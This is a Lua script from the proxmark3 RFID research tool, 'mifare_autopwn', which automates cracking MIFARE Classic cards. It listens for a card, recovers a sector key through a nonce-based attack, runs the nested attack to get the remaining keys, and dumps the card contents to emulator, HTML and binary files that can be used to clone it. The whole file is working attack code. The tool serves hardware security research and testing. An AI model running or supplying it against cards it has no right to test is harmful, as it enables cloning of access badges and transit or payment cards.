Removed unused variable

[proxmark3-svn] / client / scripts / mifare_autopwn.lua

local getopt = require('getopt')
local reader = require('read14a')
local cmds = require('commands')

example = "script run mifare_autopwn"
author = "Martin Holst Swende"


desc =
[[
This is a which automates cracking and dumping mifare classic cards. It sets itself into 
'listening'-mode, after which it cracks and dumps any mifare classic card that you 
place by the device. 

Arguments:
        -d                              debug logging on
        -h                              this help

Output files from this operation:
        <uid>.eml               - emulator file
        <uid>.html              - html file containing card data
        dumpkeys.bin    - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
        dumpdata.bin    - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it. 

]]

-------------------------------
-- Some utilities 
-------------------------------
local DEBUG = false
--- 
-- A debug printout-function
function dbg(args)
        if DEBUG then
                print(":: ", args)
        end
end 
--- 
-- This is only meant to be used when errors occur
function oops(err)
        print("ERROR: ",err)
        return nil,err
end

--- 
-- Usage help
function help()
        print(desc)
        print("Example usage")
        print(example)
end

---
-- Waits for a mifare card to be placed within the vicinity of the reader. 
-- @return if successfull: an table containing card info
-- @return if unsuccessfull : nil, error
function wait_for_mifare()
        while not core.ukbhit() do
                res, err = reader.read1443a()
                if res then return res end
                -- err means that there was no response from card
        end
        return nil, "Aborted by user"
end

function mfcrack()
        core.clearCommandBuffer()
        -- Build the mifare-command
        local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
        
        local retry = true
        while retry do
                core.SendCommand(cmd:getBytes())
                local key, errormessage = mfcrack_inner()
                -- Success?
                if key then return key end
                -- Failure? 
                if errormessage then return nil, errormessage end
                -- Try again..set arg1 to 0 this time. 

                cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
        end     
        return nil, "Aborted by user"
end


function mfcrack_inner()
        while not core.ukbhit() do              
                local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
                if result then
                        -- Unpacking the three arg-parameters
                        local count,cmd,isOK = bin.unpack('LL',result)

                        if isOK ~= 1 then return nil, "Error occurred" end


                        -- The data-part is left
                        -- Starts 32 bytes in, at byte 33
                        local data = result:sub(33)

                        -- A little helper
                        local get = function(num)
                                local x = data:sub(1,num)
                                data = data:sub(num+1)
                                return x
                        end

                        local uid,nt,pl = get(4),get(4),get(8)
                        local ks,nr = get(8),get(4)

                        local status, key = core.nonce2key(uid,nt, nr, pl,ks)
                        if not status then return status,key end

                        if status > 0 then 
                                print("Key not found (lfsr_common_prefix problem)")
                                -- try again
                                return nil,nil
                        else
                                return key
                        end
                end
        end
        return nil, "Aborted by user"
end

function nested(key,sak)
        local typ = 1
        if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
                typ = 4
        elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
                typ= 1
        elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
                typ = 0
        elseif  0x10 == sak then-- "NXP MIFARE Plus 2k"
                typ = 2
        else
                print("I don't know how many sectors there are on this type of card, defaulting to 16")
        end
        local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
        core.console(cmd)
end

function dump(uid)
        core.console("hf mf dump")
        -- Save the global args, those are *our* arguments
        local myargs = args
        -- Set the arguments for htmldump script
        args =("-o %s.html"):format(uid)
        -- call it 
        require('../scripts/htmldump')

        args =""
        -- dump to emulator
        require('../scripts/dumptoemul')
        -- Set back args. Not that it's used, just for the karma... 
        args = myargs
end

--- 
-- The main entry point
function main(args)


        local verbose, exit,res,uid,err,_,sak
        local seen_uids = {}

        -- Read the parameters
        for o, a in getopt.getopt(args, 'hd') do
                if o == "h" then help() return end
                if o == "d" then DEBUG = true end
        end

        while not exit do
                res, err = wait_for_mifare()
                if err then return oops(err) end
                -- Seen already?
                uid = res.uid
                sak = res.sak
                if not seen_uids[uid] then
                        -- Store it
                        seen_uids[uid] = uid
                        print("Card found, commencing crack", uid)
                        -- Crack it
                        local key, cnt
                        res,err = mfcrack()
                        if not res then return oops(err) end
                        -- The key is actually 8 bytes, so a 
                        -- 6-byte key is sent as 00XXXXXX
                        -- This means we unpack it as first
                        -- two bytes, then six bytes actual key data
                        -- We can discard first and second return values
                        _,_,key = bin.unpack("H2H6",res)
                        print("Key ", key)

                        -- Use nested attack
                        nested(key,sak)
                        -- Dump info
                        dump(uid)
                end
        end
end

-- Call the main 
main(args)